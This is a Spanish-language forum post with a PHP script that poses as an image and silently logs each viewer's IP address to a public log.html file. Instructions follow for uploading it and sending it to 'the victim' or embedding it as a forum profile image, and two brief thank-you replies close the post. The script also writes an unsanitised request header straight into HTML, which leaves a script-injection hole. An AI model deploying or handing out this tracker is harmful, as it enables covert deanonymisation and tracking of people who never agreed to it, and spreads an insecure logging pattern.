<?php
Header("Content-type: image/png");
$im = ImageCreate(300, 300);
$red = ImageColorAllocate($im, 255, 0, 0);
$white = ImageColorAllocate($im, 255, 255, 255);
$blue = ImageColorAllocate($im, 0, 0, 255);
$black = ImageColorAllocate($im, 0, 0, 0);
ImageFill($im, 0, 0, $red);
ImageString($im, 10, 10, 10, "Hola DragonJar", $black);
$font_width = ImageFontWidth(10);
$string_width = $font_width * (strlen("Hola! DragonJAR!"));
ImageLine($im, 100, 50, (100+$string_width), 50, $black);
ImagePng($im);
$nombre_archivo = 'log.html';
if($_SERVER["HTTP_X_FORWARDED_FOR"]){
$contenido = $_SERVER["HTTP_X_FORWARDED_FOR"]."<br/>";
}else{
$contenido = $_SERVER["REMOTE_ADDR"]."<br/>";
}
if (is_writable($nombre_archivo)) {
if (!$gestor = fopen($nombre_archivo, 'a')) {
echo "Error";
exit;
}
if (fwrite($gestor, $contenido) === FALSE) {
echo "Error";
exit;
}
echo "Exito";
fclose($gestor);
} else {
echo "Error";
}
?>
Suben por FTP el Index.php y crean un HTML con el nombre de "log.html" y también lo suben.
Envían la página a la victima o bien si están en un Foro en tu Perfil eliges la opción "Subir por Link tu imagen y añades esto: url-de-tu-ágina/index.php
Los Logs los verás en: url-de-tu-página/log.html
Saludos
gracias, lo probare a ver que tal va, saludos
gracias.